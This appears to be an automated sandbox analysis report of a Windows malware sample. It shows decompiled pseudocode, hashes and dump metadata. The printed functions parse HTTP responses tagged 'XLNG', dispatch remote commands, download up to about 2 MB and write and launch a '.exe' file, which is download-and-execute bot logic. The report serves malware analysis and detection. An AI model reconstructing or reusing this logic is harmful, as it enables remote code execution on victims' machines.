                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: Clos$CloseHandle$Inte$dle$eHan$rnet
                • API String ID: 0-4067651292
                • Opcode ID: 2f355f32e4d236debda0520a74581a02e600a93b195680a2bc15e3eed52cf878
                • Instruction ID: ed4cbe9b6b75f28ee1f612e2180e8375503b7388aad042ed03433f8465f3aff7
                • Opcode Fuzzy Hash: 2f355f32e4d236debda0520a74581a02e600a93b195680a2bc15e3eed52cf878
                • Instruction Fuzzy Hash: 50F030B2D05128AFCB10EFD9E945AEFBBB8EF44310F108199ED486B205D6709B15CBE1
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 88%
                			E00432B4D(void* __fp0, intOrPtr _a4, char _a8) {
                				char _v8;
                				intOrPtr _v12;
                				short _v16;
                				char _v20;
                				char _v32;
                				intOrPtr _v39;
                				intOrPtr _v43;
                				intOrPtr _v47;
                				intOrPtr _v51;
                				intOrPtr _v55;
                				char _v56;
                				char _v112;
                				intOrPtr _v116;
                				char _v120;
                				void* __ebx;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				signed int _t115;
                				intOrPtr _t120;
                				intOrPtr* _t129;
                				char _t130;
                				char* _t132;
                				char _t151;
                				void* _t152;
                				void* _t153;
                				char _t154;
                				intOrPtr _t155;
                				void* _t156;
                				char _t157;
                				signed int _t165;
                				void* _t170;
                				void* _t171;
                				short _t175;
                				short _t179;
                				void* _t184;
                				short _t185;
                				intOrPtr _t187;
                				char* _t188;
                				intOrPtr _t190;
                				void* _t191;
                				char _t204;
                				intOrPtr _t205;
                				short _t207;
                				short _t208;
                				intOrPtr _t218;
                				void* _t244;
                
                				_t244 = __fp0;
                				_t154 = _a8;
                				if(_t154 == 0 || _t154 > 0x1f4000) {
                					__eflags = 0;
                					return 0;
                				} else {
                					_push(_t184);
                					_push(0x38);
                					_push(0);
                					_t204 =  *((intOrPtr*)(_a4 + 0x7d8)) + 0x2000;
                					_push( &_v112);
                					_a8 = _t204;
                					_v20 = 0x50545448;
                					_v16 = 0;
                					_v120 = 0x20303032;
                					_v116 = 0xd4b4f;
                					L004494CD();
                					_push(4);
                					_t205 = _t204 + 0x956c;
                					_t10 =  &_v20; // 0x50545448
                					_t115 = _t10;
                					_push(_t205);
                					_push(_t115);
                					L0044975D();
                					asm("sbb edi, edi");
                					_push(6);
                					_push(_a8 + 0x9575);
                					_t12 =  &_v120; // 0x20303032
                					_t185 = _t184 + 1;
                					L0044975D();
                					if( ~_t115 != 0 || _t185 != 0) {
                						_v8 = 0;
                						if(_t185 != 0) {
                							L10:
                							__eflags = _t205;
                							if(_t205 == 0) {
                								goto L8;
                							} else {
                								_t155 = _a8 - _t205 + _t154 + 0x956c;
                								_v12 = _t155;
                								__eflags = _t155;
                								if(_t155 == 0) {
                									goto L8;
                								} else {
                									__eflags = _t155 - 0xc;
                									if(_t155 >= 0xc) {
                										L14:
                										_t187 = _a4;
                										_push(_t155);
                										_push( *((intOrPtr*)(_t187 + 0xb3c)));
                										L0044947D();
                										_push(_t155);
                										_push( *((intOrPtr*)(_t187 + 0xb40)));
                										L0044947D();
                										_t188 =  *((intOrPtr*)(_t187 + 0xb40));
                										_t120 = 0;
                										__eflags = 0;
                										_t26 = _t120 + 0xa; // 0xa
                										_t156 = _t26;
                										do {
                											__eflags =  *((char*)(_t120 + _t205)) - 0xd;
                											if( *((char*)(_t120 + _t205)) == 0xd) {
                												__eflags =  *((intOrPtr*)(_t120 + _t205 + 1)) - _t156;
                												if( *((intOrPtr*)(_t120 + _t205 + 1)) == _t156) {
                													_t31 = _t205 + 2; // 0x2
                													_t205 = _t120 + _t31;
                												}
                											}
                											__eflags =  *((char*)(_t120 + _t205 + 1)) - 0xd;
                											if( *((char*)(_t120 + _t205 + 1)) == 0xd) {
                												__eflags =  *((intOrPtr*)(_t120 + _t205 + 2)) - _t156;
                												if( *((intOrPtr*)(_t120 + _t205 + 2)) == _t156) {
                													_t37 = _t205 + 3; // 0x3
                													_t205 = _t120 + _t37;
                												}
                											}
                											__eflags =  *((char*)(_t120 + _t205 + 2)) - 0xd;
                											if( *((char*)(_t120 + _t205 + 2)) == 0xd) {
                												__eflags =  *((intOrPtr*)(_t120 + _t205 + 3)) - _t156;
                												if( *((intOrPtr*)(_t120 + _t205 + 3)) == _t156) {
                													_t43 = _t205 + 4; // 0x4
                													_t205 = _t120 + _t43;
                												}
                											}
                											__eflags =  *((char*)(_t120 + _t205 + 3)) - 0xd;
                											if( *((char*)(_t120 + _t205 + 3)) == 0xd) {
                												__eflags =  *((intOrPtr*)(_t120 + _t205 + 4)) - _t156;
                												if( *((intOrPtr*)(_t120 + _t205 + 4)) == _t156) {
                													_t49 = _t205 + 5; // 0x5
                													_t205 = _t120 + _t49;
                												}
                											}
                											__eflags =  *((char*)(_t120 + _t205 + 4)) - 0xd;
                											if( *((char*)(_t120 + _t205 + 4)) == 0xd) {
                												__eflags =  *((intOrPtr*)(_t120 + _t205 + 5)) - _t156;
                												if( *((intOrPtr*)(_t120 + _t205 + 5)) == _t156) {
                													_t55 = _t205 + 6; // 0x6
                													_t205 = _t120 + _t55;
                												}
                											}
                											__eflags =  *((char*)(_t120 + _t205 + 5)) - 0xd;
                											if( *((char*)(_t120 + _t205 + 5)) == 0xd) {
                												__eflags =  *((intOrPtr*)(_t120 + _t205 + 6)) - _t156;
                												if( *((intOrPtr*)(_t120 + _t205 + 6)) == _t156) {
                													_t61 = _t205 + 7; // 0x7
                													_t205 = _t120 + _t61;
                												}
                											}
                											_t120 = _t120 + 6;
                											__eflags = _t120 - 0xc;
                										} while (_t120 < 0xc);
                										_t175 = 0;
                										__eflags = _v12;
                										if(_v12 > 0) {
                											do {
                												_t151 =  *((intOrPtr*)(_t175 + _t205));
                												_t170 = _t175 + _t205;
                												__eflags = _t151 - 0xd;
                												if(_t151 != 0xd) {
                													L43:
                													 *_t188 = _t151;
                													goto L44;
                												} else {
                													__eflags =  *((intOrPtr*)(_t175 + _t205 + 1)) - _t156;
                													if( *((intOrPtr*)(_t175 + _t205 + 1)) != _t156) {
                														goto L43;
                													} else {
                														_t152 = 3;
                														do {
                															__eflags =  *((char*)(_t170 + _t152)) - 0xd;
                															if( *((char*)(_t170 + _t152)) != 0xd) {
                																goto L40;
                															} else {
                																__eflags =  *((intOrPtr*)(_t170 + _t152 + 1)) - _t156;
                																if( *((intOrPtr*)(_t170 + _t152 + 1)) == _t156) {
                																	_t175 = _t175 + _t152 + 2;
                																} else {
                																	goto L40;
                																}
                															}
                															goto L45;
                															L40:
                															_t152 = _t152 + 1;
                															__eflags = _t152 - _t156;
                														} while (_t152 < _t156);
                														 *_t188 = 0xd;
                														L44:
                														_t188 = _t188 + 1;
                														_t175 = _t175 + 1;
                														__eflags = _t175;
                													}
                												}
                												L45:
                												__eflags = _t175 - _v12;
                											} while (_t175 < _v12);
                										}
                										_t157 = _a8;
                										_v55 = 0;
                										_v51 = 0;
                										_v47 = 0;
                										_v43 = 0;
                										_v39 = 0;
                										_push(0x14);
                										_push(_t157 + 0x8d4c);
                										_push( &_v56);
                										_v56 = 0;
                										L0044944D();
                										_t189 = _t157 + 0x8d2c;
                										E00438DED( &_v56, 0x14, _t157 + 0x8d2c);
                										_t207 = E0043881D( *((intOrPtr*)(_a4 + 0xb3c)),  *((intOrPtr*)(_a4 + 0xb40)));
                										__eflags = _t207;
                										if(_t207 == 0) {
                											goto L8;
                										} else {
                											__eflags = _t207 - 9;
                											if(_t207 < 9) {
                												goto L8;
                											} else {
                												_t190 = _a4;
                												E00438C0D( *((intOrPtr*)(_t190 + 0xb3c)), _t207, _t189);
                												_t178 =  *((intOrPtr*)(_t190 + 0xb3c));
                												E00438C0D( *((intOrPtr*)(_t190 + 0xb3c)), _t207,  &_v56);
                												_t129 =  *((intOrPtr*)(_t190 + 0xb3c));
                												__eflags =  *_t129 - 0x474e4c58;
                												if( *_t129 != 0x474e4c58) {
                													goto L8;
                												} else {
                													_t165 =  *(_t129 + 4) & 0x000000ff;
                													_t191 = _t129 + 5;
                													__eflags = _t165 - 0x33;
                													if(_t165 != 0x33) {
                														__eflags = _t165 - 0x35;
                														if(__eflags != 0) {
                															__eflags = _t165 - 0x37;
                															if(_t165 != 0x37) {
                																__eflags = _t165 - 0x38;
                																if(_t165 != 0x38) {
                																	__eflags = _t165 - 0x36;
                																	if(_t165 != 0x36) {
                																		__eflags = _t165 - 0x31;
                																		if(_t165 == 0x31) {
                																			L63:
                																			_t102 = _t207 - 2; // -2
                																			_t179 = _t102;
                																			_t130 = 0;
                																			__eflags = _t179;
                																			if(_t179 != 0) {
                																				do {
                																					__eflags =  *((intOrPtr*)(_t130 + _t191)) - 0x474e4c58;
                																					if( *((intOrPtr*)(_t130 + _t191)) == 0x474e4c58) {
                																						_v8 = _t130;
                																					}
                																					_t130 = _t130 + 1;
                																					__eflags = _t130 - _t179;
                																				} while (_t130 < _t179);
                																			}
                																		} else {
                																			__eflags = _t165 - 0x32;
                																			if(_t165 == 0x32) {
                																				goto L63;
                																			} else {
                																				__eflags = _t165 - 0x34;
                																				if(_t165 == 0x34) {
                																					goto L63;
                																				} else {
                																					__eflags = _t165 - 0x39;
                																					if(_t165 == 0x39) {
                																						goto L63;
                																					}
                																				}
                																			}
                																		}
                																		__eflags = _t165 - 0x34;
                																		if(_t165 != 0x34) {
                																			_t107 =  &_v8; // 0xd
                																			_t208 =  *_t107;
                																			__eflags = _t208;
                																			if(_t208 != 0) {
                																				L72:
                																				__eflags = _t165 - 0x31;
                																				if(_t165 != 0x31) {
                																					__eflags = _t165 - 0x32;
                																					if(_t165 != 0x32) {
                																						__eflags = _t165 - 0x39;
                																						if(_t165 != 0x39) {
                																							goto L8;
                																						} else {
                																							return E00433BFD(_t244, _a4, _t191, _t208);
                																						}
                																					} else {
                																						_t132 =  &_v32;
                																						_push(_t191);
                																						_push(_t132);
                																						L0044917D();
                																						__eflags = _t132;
                																						if(_t132 == 0) {
                																							goto L8;
                																						} else {
                																							return E00433DBD(_t244, _a4, _t191, _t208);
                																						}
                																					}
                																				} else {
                																					return E004342BD(_t244, _a4, _t191, _t208);
                																				}
                																			} else {
                																				__eflags = _t165 - 0x39;
                																				if(_t165 == 0x39) {
                																					goto L72;
                																				} else {
                																					return _t208 + 4;
                																				}
                																			}
                																		} else {
                																			_t105 =  &_v8; // 0xd
                																			return E004337AD(_t157, _t191, _t244, _a4, _t191,  *_t105);
                																		}
                																	} else {
                																		E00433BAD(_a4);
                																		return 4;
                																	}
                																} else {
                																	E0043386D(_t157, _t244, _a4, 0x18);
                																	return 4;
                																}
                															} else {
                																E0043386D(_t157, _t244, _a4, 0x12);
                																return 4;
                															}
                														} else {
                															E0043457D(_t157, _a4, _t191, __eflags, _t244, _a4);
                															return 4;
                														}
                													} else {
                														_t218 = _a4;
                														 *((intOrPtr*)(_t157 + 0x89a8)) = 1;
                														E0043375D(_t244, _t218);
                														_push(1);
                														_push( *((intOrPtr*)(_t218 + 0xb58)));
                														_push( &_a8);
                														_push(_t218);
                														L0043A91D( *((intOrPtr*)(_t218 + 0xb58)), _t157,  &_a8, _t178, _t191, _t218, _t244);
                														_push(0);
                														_push(_t218);
                														L00447CBD();
                														return 4;
                													}
                												}
                											}
                										}
                									} else {
                										__eflags = _t185;
                										if(_t185 == 0) {
                											goto L8;
                										} else {
                											goto L14;
                										}
                									}
                								}
                							}
                						} else {
                							_t171 = _t154 - 4;
                							_t153 = 0;
                							if(_t171 == 0) {
                								goto L8;
                							} else {
                								L6:
                								L6:
                								if( *((intOrPtr*)(_t153 + _t205)) == 0xa0d0a0d) {
                									_t17 = _t205 + 4; // 0x4
                									_t205 = _t153 + _t17;
                								} else {
                									goto L7;
                								}
                								goto L10;
                								L7:
                								_t153 = _t153 + 1;
                								if(_t153 < _t171) {
                									goto L6;
                								} else {
                									goto L8;
                								}
                							}
                						}
                					} else {
                						L8:
                						return 0;
                					}
                				}
                			}


















































                0x00432b4d
                0x00432b54
                0x00432b59
                0x00432f3a
                0x00432f40
                0x00432b6b
                0x00432b75
                0x00432b78
                0x00432b7a
                0x00432b7e
                0x00432b84
                0x00432b85
                0x00432b88
                0x00432b8f
                0x00432b93
                0x00432b9a
                0x00432ba1
                0x00432ba6
                0x00432ba8
                0x00432bae
                0x00432bae
                0x00432bb1
                0x00432bb2
                0x00432bb3
                0x00432bbd
                0x00432bbf
                0x00432bc7
                0x00432bc8
                0x00432bcc
                0x00432bcd
                0x00432bd7
                0x00432bdd
                0x00432be6
                0x00432c0c
                0x00432c0c
                0x00432c0e
                0x00000000
                0x00432c10
                0x00432c15
                0x00432c1c
                0x00432c1f
                0x00432c21
                0x00000000
                0x00432c23
                0x00432c23
                0x00432c26
                0x00432c2c
                0x00432c2c
                0x00432c35
                0x00432c36
                0x00432c37
                0x00432c42
                0x00432c43
                0x00432c44
                0x00432c49
                0x00432c52
                0x00432c52
                0x00432c54
                0x00432c54
                0x00432c5d
                0x00432c5d
                0x00432c61
                0x00432c63
                0x00432c67
                0x00432c69
                0x00432c69
                0x00432c69
                0x00432c67
                0x00432c6d
                0x00432c72
                0x00432c74
                0x00432c78
                0x00432c7a
                0x00432c7a
                0x00432c7a
                0x00432c78
                0x00432c7e
                0x00432c83
                0x00432c85
                0x00432c89
                0x00432c8b
                0x00432c8b
                0x00432c8b
                0x00432c89
                0x00432c8f
                0x00432c94
                0x00432c96
                0x00432c9a
                0x00432c9c
                0x00432c9c
                0x00432c9c
                0x00432c9a
                0x00432ca0
                0x00432ca5
                0x00432ca7
                0x00432cab
                0x00432cad
                0x00432cad
                0x00432cad
                0x00432cab
                0x00432cb1
                0x00432cb6
                0x00432cb8
                0x00432cbc
                0x00432cbe
                0x00432cbe
                0x00432cbe
                0x00432cbc
                0x00432cc2
                0x00432cc5
                0x00432cc5
                0x00432cca
                0x00432ccc
                0x00432ccf
                0x00432cd1
                0x00432cd1
                0x00432cd4
                0x00432cd7
                0x00432cd9
                0x00432d09
                0x00432d09
                0x00000000
                0x00432cdb
                0x00432cdb
                0x00432cdf
                0x00000000
                0x00432ce1
                0x00432ce1
                0x00432ced
                0x00432ced
                0x00432cf1
                0x00000000
                0x00432cf3
                0x00432cf3
                0x00432cf7
                0x00432d03
                0x00000000
                0x00000000
                0x00000000
                0x00432cf7
                0x00000000
                0x00432cf9
                0x00432cf9
                0x00432cfa
                0x00432cfa
                0x00432cfe
                0x00432d0b
                0x00432d0b
                0x00432d0c
                0x00432d0c
                0x00432d0c
                0x00432cdf
                0x00432d0d
                0x00432d0d
                0x00432d0d
                0x00432cd1
                0x00432d12
                0x00432d17
                0x00432d1a
                0x00432d1d
                0x00432d20
                0x00432d23
                0x00432d26
                0x00432d2e
                0x00432d32
                0x00432d33
                0x00432d37
                0x00432d3c
                0x00432d49
                0x00432d64
                0x00432d69
                0x00432d6b
                0x00000000
                0x00432d71
                0x00432d71
                0x00432d74
                0x00000000
                0x00432d7a
                0x00432d7b
                0x00432d86
                0x00432d8b
                0x00432d97
                0x00432d9c
                0x00432da5
                0x00432dab
                0x00000000
                0x00432db1
                0x00432db1
                0x00432db5
                0x00432db8
                0x00432dbb
                0x00432dfa
                0x00432dfd
                0x00432e17
                0x00432e1a
                0x00432e36
                0x00432e39
                0x00432e55
                0x00432e58
                0x00432e72
                0x00432e75
                0x00432e86
                0x00432e86
                0x00432e86
                0x00432e89
                0x00432e8b
                0x00432e8d
                0x00432e8f
                0x00432e8f
                0x00432e96
                0x00432e98
                0x00432e98
                0x00432e9b
                0x00432e9c
                0x00432e9c
                0x00432e8f
                0x00432e77
                0x00432e77
                0x00432e7a
                0x00000000
                0x00432e7c
                0x00432e7c
                0x00432e7f
                0x00000000
                0x00432e81
                0x00432e81
                0x00432e84
                0x00000000
                0x00000000
                0x00432e84
                0x00432e7f
                0x00432e7a
                0x00432ea0
                0x00432ea3
                0x00432ebd
                0x00432ebd
                0x00432ec0
                0x00432ec2
                0x00432ed3
                0x00432ed3
                0x00432ed6
                0x00432eed
                0x00432ef0
                0x00432f1c
                0x00432f1f
                0x00000000
                0x00432f25
                0x00432f39
                0x00432f39
                0x00432ef2
                0x00432ef2
                0x00432ef5
                0x00432ef6
                0x00432ef7
                0x00432eff
                0x00432f01
                0x00000000
                0x00432f07
                0x00432f1b
                0x00432f1b
                0x00432f01
                0x00432ed8
                0x00432eec
                0x00432eec
                0x00432ec4
                0x00432ec4
                0x00432ec7
                0x00000000
                0x00432ec9
                0x00432ed2
                0x00432ed2
                0x00432ec7
                0x00432ea5
                0x00432ea5
                0x00432ebc
                0x00432ebc
                0x00432e5a
                0x00432e5e
                0x00432e71
                0x00432e71
                0x00432e3b
                0x00432e41
                0x00432e54
                0x00432e54
                0x00432e1c
                0x00432e22
                0x00432e35
                0x00432e35
                0x00432dff
                0x00432e03
                0x00432e16
                0x00432e16
                0x00432dbd
                0x00432dbd
                0x00432dc1
                0x00432dcb
                0x00432dd6
                0x00432dd8
                0x00432ddc
                0x00432ddd
                0x00432dde
                0x00432de3
                0x00432de5
                0x00432de6
                0x00432df9
                0x00432df9
                0x00432dbb
                0x00432dab
                0x00432d74
                0x00432c28
                0x00432c28
                0x00432c2a
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x00432c2a
                0x00432c26
                0x00432c21
                0x00432be8
                0x00432be8
                0x00432beb
                0x00432bef
                0x00000000
                0x00432bf1
                0x00000000
                0x00432bf1
                0x00432bf8
                0x00432c08
                0x00432c08
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x00432bfa
                0x00432bfa
                0x00432bfd
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x00432bfd
                0x00432bef
                0x00432bff
                0x00432bff
                0x00432c07
                0x00432c07
                0x00432bd7

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $200 OK$HTTP$XLNG$XLNG
                • API String ID: 0-1796545149
                • Opcode ID: df0ec2c03b9875ddd4f8f1b69ab85f4ad2b0e26ff29a6a8a58faa5c68c3bb574
                • Instruction ID: 0901ae9d8b85ec26b58d5982cb2ed9f213db301b44c90c47cd8abede0f68a7c9
                • Opcode Fuzzy Hash: df0ec2c03b9875ddd4f8f1b69ab85f4ad2b0e26ff29a6a8a58faa5c68c3bb574
                • Instruction Fuzzy Hash: 68C148729002046ADB30DF98D981AEFB7A8EF4D314F5491AFE90D9B201E779DE44C794
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 20%
                			E00433DBD(void* __fp0, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                				char _v8;
                				short _v12;
                				intOrPtr _v16;
                				char _v20;
                				intOrPtr _v24;
                				intOrPtr _v28;
                				intOrPtr _v32;
                				char _v36;
                				char _v40;
                				char _v104;
                				char _v108;
                				char _v362;
                				char _v364;
                				void* __ebx;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				intOrPtr _t42;
                				void* _t44;
                				signed int _t46;
                				intOrPtr _t48;
                				void* _t50;
                				intOrPtr _t52;
                				intOrPtr _t61;
                				void* _t81;
                				void* _t82;
                				intOrPtr _t87;
                				void* _t91;
                				void* _t92;
                				void* _t95;
                				void* _t96;
                
                				_t104 = __fp0;
                				if(_a8 == 0 || _a12 == 0) {
                					return 4;
                				} else {
                					_push(0xfe);
                					_push(0);
                					_push( &_v362);
                					_v364 = 0;
                					L004494CD();
                					_t87 = _a4;
                					_t42 =  *((intOrPtr*)(_t87 + 0x7d8));
                					_v8 = 0x5c;
                					_v20 = 0x65002e;
                					_v16 = 0x650078;
                					_v12 = 0;
                					 *((intOrPtr*)(_t42 + 0xa9a8)) = 1;
                					 *((intOrPtr*)(_t42 + 0x2014)) = 2;
                					_t44 = E0043923D(_t87,  &_v364, 4, 0);
                					_push(0);
                					_push( &_v8);
                					_push( &_v364);
                					L004498AD();
                					_t46 = E0043864D(_t44, 5, 8) & 0x000000ff;
                					_push(_t46);
                					_push( &_v364);
                					L0044973D();
                					_push(_t91 + _t46 * 2 - 0x168);
                					L0044A3FD();
                					_push(0);
                					_push( &_v20);
                					_push( &_v364);
                					L004498AD();
                					_push(0);
                					_push(1);
                					_t22 = _t87 + 0xa2c; // 0xa39
                					_t81 = _t22;
                					_push(_t81);
                					_push(_t87);
                					_t48 = E00442DFD( &_v20,  &_v364);
                					_push(0);
                					_push(0x15);
                					_push(_t81);
                					_push(_t87);
                					_t61 = _t48;
                					_t82 = E00442DFD(_t48,  &_v364);
                					_t50 = E0043375D(__fp0, _t87);
                					_t95 = _t92 + 0x6c;
                					if(_t50 != 0) {
                						_push(0);
                						_push(0x1b);
                						_push( &_v364);
                						_push(_t87);
                						 *((intOrPtr*)(_t87 + 0xb2c)) = _a8;
                						 *((intOrPtr*)(_t87 + 0xb30)) = _a12;
                						_t52 = E00442DFD(_a12,  &_v364);
                						_t96 = _t95 + 0x10;
                						__eflags = _t52;
                						if(__eflags == 0) {
                							L8:
                							E00433D4D(__eflags, _t87, _t61, _t82);
                							return 4;
                						} else {
                							_push(0x40);
                							_push(0);
                							_push( &_v104);
                							L004494CD();
                							_push(0);
                							_push( &_v36);
                							_push( &_v108);
                							_push(0);
                							_push(0);
                							_push(0x800000c);
                							_push(0);
                							_push(0);
                							_push(0);
                							_push(0);
                							_t71 =  &_v364;
                							_push( &_v364);
                							_push(0);
                							_push(_t87);
                							_v36 = 0;
                							_v32 = 0;
                							_v28 = 0;
                							_v24 = 0;
                							_v108 = 0x44;
                							L00447CED();
                							_t96 = _t96 + 0x40;
                							__eflags = 0;
                							if(0 != 0) {
                								__eflags = _t61;
                								if(_t61 != 0) {
                									_push(_t61);
                									_push(_t87);
                									L0044942D();
                									_t96 = _t96 + 8;
                								}
                								_push(1);
                								_push( *((intOrPtr*)(_t87 + 0xb58)));
                								_push( &_v40);
                								_push(_t87);
                								L0043A91D( &_v40, _t61, _t71,  *((intOrPtr*)(_t87 + 0xb58)), _t82, _t87, _t104);
                								_push(0);
                								_push(_v32);
                								_push(_t87);
                								L0044742D();
                								_push(0);
                								_push(_t87);
                								L00447CBD();
                								return 2;
                							} else {
                								goto L8;
                							}
                						}
                					} else {
                						if(_t61 != 0) {
                							_push(_t61);
                							_push(_t87);
                							L0044942D();
                						}
                						return 4;
                					}
                				}
                			}


































                0x00433dbd
                0x00433dca
                0x00433faf
                0x00433dda
                0x00433ddf
                0x00433de4
                0x00433deb
                0x00433dec
                0x00433df3
                0x00433df8
                0x00433dfb
                0x00433e04
                0x00433e0b
                0x00433e12
                0x00433e19
                0x00433e1d
                0x00433e27
                0x00433e3b
                0x00433e40
                0x00433e45
                0x00433e4c
                0x00433e4d
                0x00433e5b
                0x00433e61
                0x00433e68
                0x00433e69
                0x00433e78
                0x00433e79
                0x00433e7e
                0x00433e83
                0x00433e8a
                0x00433e8b
                0x00433e90
                0x00433e92
                0x00433e94
                0x00433e94
                0x00433e9a
                0x00433e9b
                0x00433e9c
                0x00433ea1
                0x00433ea3
                0x00433ea5
                0x00433ea6
                0x00433ea7
                0x00433eaf
                0x00433eb1
                0x00433eb6
                0x00433ebb
                0x00433edd
                0x00433edf
                0x00433ee7
                0x00433ee8
                0x00433ee9
                0x00433eef
                0x00433ef5
                0x00433efa
                0x00433efd
                0x00433eff
                0x00433f4c
                0x00433f4f
                0x00433f62
                0x00433f01
                0x00433f01
                0x00433f06
                0x00433f08
                0x00433f09
                0x00433f10
                0x00433f14
                0x00433f18
                0x00433f19
                0x00433f1a
                0x00433f1b
                0x00433f20
                0x00433f21
                0x00433f22
                0x00433f23
                0x00433f24
                0x00433f2a
                0x00433f2b
                0x00433f2c
                0x00433f2d
                0x00433f30
                0x00433f33
                0x00433f36
                0x00433f39
                0x00433f40
                0x00433f45
                0x00433f48
                0x00433f4a
                0x00433f63
                0x00433f65
                0x00433f67
                0x00433f68
                0x00433f69
                0x00433f6e
                0x00433f6e
                0x00433f77
                0x00433f79
                0x00433f7d
                0x00433f7e
                0x00433f7f
                0x00433f87
                0x00433f89
                0x00433f8a
                0x00433f8b
                0x00433f90
                0x00433f92
                0x00433f93
                0x00433fa6
                0x00000000
                0x00000000
                0x00000000
                0x00433f4a
                0x00433ebd
                0x00433ebf
                0x00433ec1
                0x00433ec2
                0x00433ec3
                0x00433ec8
                0x00433ed6
                0x00433ed6
                0x00433ebb

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $.$D$\$x
                • API String ID: 0-477071024
                • Opcode ID: f23efb9653dec918edad9f39efed44a6a0536d26640d22654292ba684e3858ed
                • Instruction ID: 75bfa1f693eb532878b2a95b467dc7ec5a9afcbe399fb6e7529c802d0cc87eb3
                • Opcode Fuzzy Hash: f23efb9653dec918edad9f39efed44a6a0536d26640d22654292ba684e3858ed
                • Instruction Fuzzy Hash: 4C5183B19102187AF710DBA5CC42FEF73BCEF48705F00455EFA08A6181EBB95A44CBA9
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 100%
                			E0041D4BD(char _a4, intOrPtr _a8, char _a12, char _a20, intOrPtr _a24) {
                				char _v8;
                				intOrPtr _v15;
                				char _v16;
                				intOrPtr _v20;
                				intOrPtr _v24;
                				char _v28;
                				intOrPtr* _v32;
                				char _v36;
                				char _v291;
                				char _v292;
                				char _t48;
                				char _t53;
                				void* _t54;
                				void* _t60;
                				char _t61;
                				void* _t64;
                				intOrPtr _t78;
                				intOrPtr _t91;
                				char _t93;
                				char _t94;
                				intOrPtr* _t95;
                				void* _t96;
                				void* _t97;
                				void* _t98;
                				void* _t99;
                				void* _t100;
                
                				_v292 = 0;
                				E004206CD( &_v291, 0, 0xff);
                				_t91 = _a8;
                				_v16 = 0x6f;
                				_t48 =  *((intOrPtr*)(_a4 + 0x7d8)) + 0x2000;
                				_t97 = _t96 + 0xc;
                				_v8 = 0x544547;
                				_v28 = 0x646e6957;
                				_v24 = 0x2073776f;
                				_v20 = 0x6c707845;
                				_v15 = 0x726572;
                				_a4 = _t48;
                				if( *((intOrPtr*)(_t91 + 0x954)) == 0) {
                					_t14 =  &_v28; // 0x646e6957
                					_t48 = E0041F18D(_t91, _t14, 0, 0, 0, 0);
                					_t97 = _t97 + 0x18;
                					 *((intOrPtr*)(_t91 + 0x954)) = _t48;
                				}
                				_t92 =  *((intOrPtr*)(_t91 + 0x954));
                				if( *((intOrPtr*)(_t91 + 0x954)) == 0) {
                					L17:
                					return _t48;
                				} else {
                					_t17 =  &_a12; // 0x6c707845
                					E0041D43D( &_v292,  *_t17 + 4);
                					_t19 =  &_a20; // 0x646e6957
                					_t48 = E0041F1FD(_t91, _t92,  *_t19, 0x50, 0, 0, 3, 0, 1);
                					_t93 = _t48;
                					_t98 = _t97 + 0x2c;
                					_v36 = _t93;
                					if(_t93 == 0) {
                						goto L17;
                					} else {
                						_t22 =  &_v8; // 0x544547
                						_t53 = E0041F27D(_t91, _t93, _t22,  &_v292, 0, 0, 0, 0, 1);
                						_t72 = _t53;
                						_t99 = _t98 + 0x24;
                						if(_t53 != 0) {
                							_t54 = E0041F2FD(_t91, _t72, 0, 0, 0, 0);
                							_t100 = _t99 + 0x18;
                							if(_t54 <= 0) {
                								L16:
                								E0041F3DD(_t91, _t72);
                								return E0041F3DD(_t91, _t93);
                							}
                							_t78 = _a24;
                							_t94 = _a4;
                							if(_t78 == 0) {
                								_t57 = _a4;
                								_a8 = _t94 + 0x380d6c;
                								_t95 = _t94 + 0x68;
                								_v32 = _a4 + 0x6c;
                							} else {
                								_a8 = _t94 + 0x956c;
                								 *((intOrPtr*)(_t94 + 0x50)) = 1;
                								_t95 = _t94 + 0x24;
                								_v32 = _a4 + 0x10;
                								_t57 = _a4;
                							}
                							 *_t95 = 0;
                							if(_t78 != 0) {
                								E0042064D(_t57 + 0x8d2c, _t57 + 0x2ff97c, 0x14);
                								_t100 = _t100 + 0xc;
                							}
                							_t60 = E0041F36D(_t91, _t72,  *_t95 + _a8, 0x1f4000 -  *_t95,  &_a4);
                							_t100 = _t100 + 0x14;
                							if(_t60 == 0) {
                								L15:
                								_t93 = _v36;
                								 *_v32 = 1;
                								goto L16;
                							} else {
                								while(1) {
                									_t61 = _a4;
                									if(_t61 == 0) {
                										goto L15;
                									}
                									 *_t95 =  *_t95 + _t61;
                									_t64 = E0041F36D(_t91, _t72,  *_t95 + _a8, 0x1f4000 -  *_t95,  &_a4);
                									_t100 = _t100 + 0x14;
                									if(_t64 != 0) {
                										continue;
                									}
                									goto L15;
                								}
                								goto L15;
                							}
                						}
                						return E0041F3DD(_t91, _t93);
                					}
                				}
                			}





























                0x0041d4d6
                0x0041d4dd
                0x0041d4e5
                0x0041d4ea
                0x0041d4f3
                0x0041d4f8
                0x0041d502
                0x0041d509
                0x0041d510
                0x0041d517
                0x0041d51e
                0x0041d525
                0x0041d528
                0x0041d532
                0x0041d537
                0x0041d53c
                0x0041d53f
                0x0041d53f
                0x0041d545
                0x0041d54d
                0x0041d699
                0x0041d699
                0x0041d553
